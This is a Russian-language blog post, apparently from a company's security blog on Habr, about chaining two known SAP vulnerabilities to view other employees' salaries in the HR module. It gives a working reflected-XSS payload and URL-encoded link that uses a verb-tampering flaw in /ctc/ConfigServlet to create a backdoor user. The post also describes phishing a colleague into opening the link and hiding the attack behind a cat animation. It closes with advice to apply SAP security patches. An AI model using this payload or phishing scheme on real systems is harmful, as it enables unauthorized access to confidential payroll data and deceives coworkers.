Взлом SAP. Смотрим чужую зарплату

в 10:20, , рубрики: ERP, ERP-системы, sap, xss, безопасность, Блог компании SAP, информационная безопасность, уязвимость

Взлом SAP. Смотрим чужую зарплату

Если ты работаешь в компании списка Forbes 500, высока вероятность того, что твою зарплату считает HR модуль SAP ERP. Я покажу как, используя ошибки SAP, посмотреть чужую зарплату в системе SAP ERP.

Disclaimer: Это наш первый официальный пост на Хабре (надеемся, что и не последний), и мы хотели бы начать с освещения одной из самый важных тем. Информация в этом посте исключительно для ознакомления и демонстрации критичности вопросов безопасности.

Итак, только работники HR имеют доступ к данным расчета зарплаты. Даже если у тебя есть доступ SAP GUI, и ты попытаешься зайти в транзакцию просмотра данных по з/п, то с вероятностью 99% тебе будет отказано:

Взлом SAP. Смотрим чужую зарплату

Доступа нет, а зарплату посмотреть хочется. Идем смотреть эксплоиты для SAP. Какой у нас есть инструментарий с эксплоитами? Правильно, Metasploit. Гуглим. Ага, на github есть целая папочка metasploit-framework/modules/auxiliary/scanner/sap/. Три десятка эксплоитов, однако:

Взлом SAP. Смотрим чужую зарплату

Вот, например, “Обход аутентификации с помощью Verb Tampering” (modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb), про него уже писали на Хабре.

Коротко суть уязвимости в том, что один из админских сервисов Java-сервера, который входит в пакет поставки SAP NetWeaver, доступен запросом типа HEAD (в противовес запрещенным запросам GET и POST). Если открыть github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb мы видим, что проблема заключается в обращении к сервлету:

/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']

Конечно, мы можем поставить Metasploit и запустить скрипт с локального компьютера. Но:

1. Нет доступа в локальную сеть, а сервис скорее всего закрыт на доступ из-вне
2. Скрипт будет запущен от твоего имени

Поэтому давай, а) составим скрипт сами на основе кода sap_ctc_verb_tampering_user_mgmt.rb б) дадим запустить этот скрипт кому-нибудь из коллег, используя одну из ошибок XSS

Про XSS на Хабре писали уже много раз (читай раз habrahabr.ru/post/66057/ два habrahabr.ru/post/197672/)

Идем гуглить securityfocus. По запросу «sap xss exploit site:http://www.securityfocus.com/» выпадает 359 результатов

Взлом SAP. Смотрим чужую зарплату

По www.securityfocus.com/bid/15361/exploit видим запрос, который исполнит Javascript на компьютере пользователя:

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E

Вместо дамми мы вставим HEAD-запрос к /ctc/ConfigServlet

А для того, чтобы результатов запроса никто не увидел, покажем пользователю картинку, обязательно с котиками:

<script>var http = new XMLHttpRequest();http.open('HEAD', "http://xxxxx/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=test444,PASSWORD=Password01");window.location.href = ‘http://ru.fishki.net/picsw/042007/02/flash/cat.swf’;</script>

Итоговая ссылка после кодировки в URL будет выглядеть так:

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd= %3Cscript%3Evar%20http%20%3D%20new%20XMLHttpRequest()%3Bhttp.open(%27HEAD%27%2C%20%22http%3A%2F%2Fxxxxx%2Fctc%2FConfigServlet%3Fparam%3Dcom.sap.ctc.util.UserConfig%3BCREATEUSER%3BUSERNAME%3Dtest444%2CPASSWORD%3DPassword01%22)%3Bhttp.send()%3Bwindow.location.href%20%3D%20%27http%3A%2F%2Fru.fishki.net%2Fpicsw%2F042007%2F02%2Fflash%2Fcat.swf%27%3B%3C%2Fscript%3E%20

Итак, составляем письмо коллегам:

Взлом SAP. Смотрим чужую зарплату

Нина Ивановна играет в Flash-игру:

Взлом SAP. Смотрим чужую зарплату

А мы — получаем пользователя test444, который (если активировано центральное ведение пользователей) создастся не только на сервере NetWeaver Application Server Java, но и в бэкенде – NetWeaver Application Server ABAP.

Взлом SAP. Смотрим чужую зарплату

Логинимся, проверям. Транзакция HR-модуля работает!

Взлом SAP. Смотрим чужую зарплату

Выводы: мы использовали две уязвимости 2011 и 2013 года. При регулярном обновлении системы патчами такой сценарий будет невозможен. К сожалению, многие базисники забывают регулярно заглядывать в service.sap.com/securitynotes и проверять соответствие последним патчам, или делают это нерегулярно. С 2010 года компания SAP организует «Security Patch Day» каждый второй вторник каждого месяца, когда происходит массовый выпуск патчей по безопасности. Компания SAP просит партнеров не публиковать и не разглашать информацию о найденных уязвимостях как минимум 3 месяца с момента выпуска патча. Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.

Автор: chdan

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js